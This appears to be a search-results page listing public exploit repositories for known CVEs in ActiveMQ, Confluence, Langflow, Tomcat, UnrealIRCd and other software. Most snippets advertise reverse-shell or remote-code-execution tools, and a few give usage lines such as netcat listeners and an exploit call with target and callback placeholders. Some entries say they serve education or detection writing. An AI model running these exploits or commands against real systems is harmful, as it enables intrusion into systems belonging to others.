3514 matches found
cve-2023-46604
Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 is a widely exploited vulnerability that appears on CISA's KEV list. This go-exploit implementation can execute a reverse shell on the targets using a Nashorn payload, or download a binary to the target and execute it. Compiling To build the exploit...
CVE-2022-1388
CVE-2022-1388 RCE, Reverse Shell, and Auto-Export PCAP -- FOR EDUCATIONAL USE ONLY -- The author is not responsible or held liable for any actions taken with any aspect of this project/repository. I created this for the purposes of understanding the attack as well as writing detections within a...
From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack
From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack It shook the world in 2017 and has evolved into today’s CVE‑2025‑2776. Microsoft still relies on SMBv1, this article will explain how attackers have tweaked the chain from a simple DLL to a full reverse‑shell stack, and what that...
CVE-2019-15715
CVE-2019-15715 The current repository is an implementation in Python3 of CVE-2019-15715 and aims to focus on the solely improvement of the CVE-2019-15715 previously reported here by Nikolas Geiselman by adding python's parameter implementation to make the script more flexible. python3...
redpill
:octocat: Descrizione del Progetto Il progetto redpill mira ad assistere le shell TCP inverse nei compiti di post-esplorazione. Spesso, negli incarichi redteam, abbiamo bisogno di usare modi non convenzionali per accedere al sistema target, come le shell TCP inverse non metasploit per bypassare l...
mcpExec
mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip...
SSRFX
CVE-2014-4210+Redis Unauthorized Access Installation pip install -r requirements.txt Usage usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h,...
cve-2020-14008
CVE-2020-14008 ManageEngine Exploit What is this? This script exploits CVE-2020-14008 in ManageEngine Applications Manager to get a reverse shell with SYSTEM privileges. Requirements pip3 install requests urllib3 How to use it 1. Start a listener nc -nlvp 9001 2. Run the exploit python3...
langflow-rce-exploit
Langflow RCE Exploit CVE-2025-3248 Remote Code Execution Exploit for Langflow CVE-2025-3248 Features Automatic vulnerability detection Multiple exploitation modes: Interactive shell Single command execution Reverse shell connection File upload capability Colorized user interface Multiple reverse...
CVE-2019-0232
CVE-2019-0232 Description This is a tool that automates the exploitation workflow for CVE‑2019‑0232 by providing both command execution mode and reverse‑shell mode. It supports automatic URL encoding for commands, spins up a temporary HTTP server to host nc.exe, uploads it to the vulnerable Apach...
CVE-2022-25765
CVE-2022-25765 Exploit A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection Usage 1. Start a netcat listener on your attack machine: nc -lvnp 4444 2. Run the exploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Example: python cve-2022-25765.py -t...
CVE-2022-22947
CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Usage Reverse Shell python3 CVE-2022-22947.py 目标网址 弹shell的IP 端口 Execute Command python3 CVE-2022-22947.py 目标网址 命令...
cve-2018-2628
cve-2018-2628 cve-2018-2628 reverse shell Article https://pi.wrysunnylove.cn/archives/58...
CVE-2022-26134
Active Exploitation of Confluence CVE-2022-26134 Overview CVE-2022-26134 is a critical Remote Code Execution RCE vulnerability affecting Atlassian Confluence. This vulnerability allows unauthenticated attackers to execute arbitrary code by injecting OGNL expressions into vulnerable endpoints...
cve-2023-22527
Ejecución de Código Arbitrario en la Memoria de Confluence CVE-2023-22527 es una vulnerabilidad ampliamente conocida que afecta a Atlassian Confluence. La mayoría de los exploits para esta vulnerabilidad utilizan freemarker.template.utility.Execute para ejecutar un comando del sistema operativo,...
CVE-2017-8869
CVE-2017-8869 - MediaCoder 0.8.48.5888 - Local Buffer Overflow SEH Exploit rewritten with reverse shell option...
dirtycow-vdso
0xdeadbeef PoC para Dirty COW CVE-2016-5195. Este PoC se basa en ptrace en lugar de /proc/self/mem para parchear vDSO. Tiene algunas ventajas sobre los PoCs que modifican binarios del sistema de archivos: no requiere un binario setuid bypass de SELinux escape de contenedores sin caída del kernel...
Node.js-CVE-2017-5941
NodeJS Insecure Deserialisation Vulnerability Demo Node.js is an open-source runtime environment used to implement server functionality in JavaScript. A specific software package within Node.js contains a vulnerable function dealing with deserialisation, that causes it to run unauthorised command...
CVE-2010-2075-UnrealIRCd-3.2.8.1
CVE-2010-2075 Exploit for CVE:2010-2075. This exploit allows remote command execution in UnrealIRCd 3.2.8.1. Requirements optparse, signal Usage You can send a command to execute, but there will be times when it will not respond, but you can simply send a reverse shell and wait for it to arrive...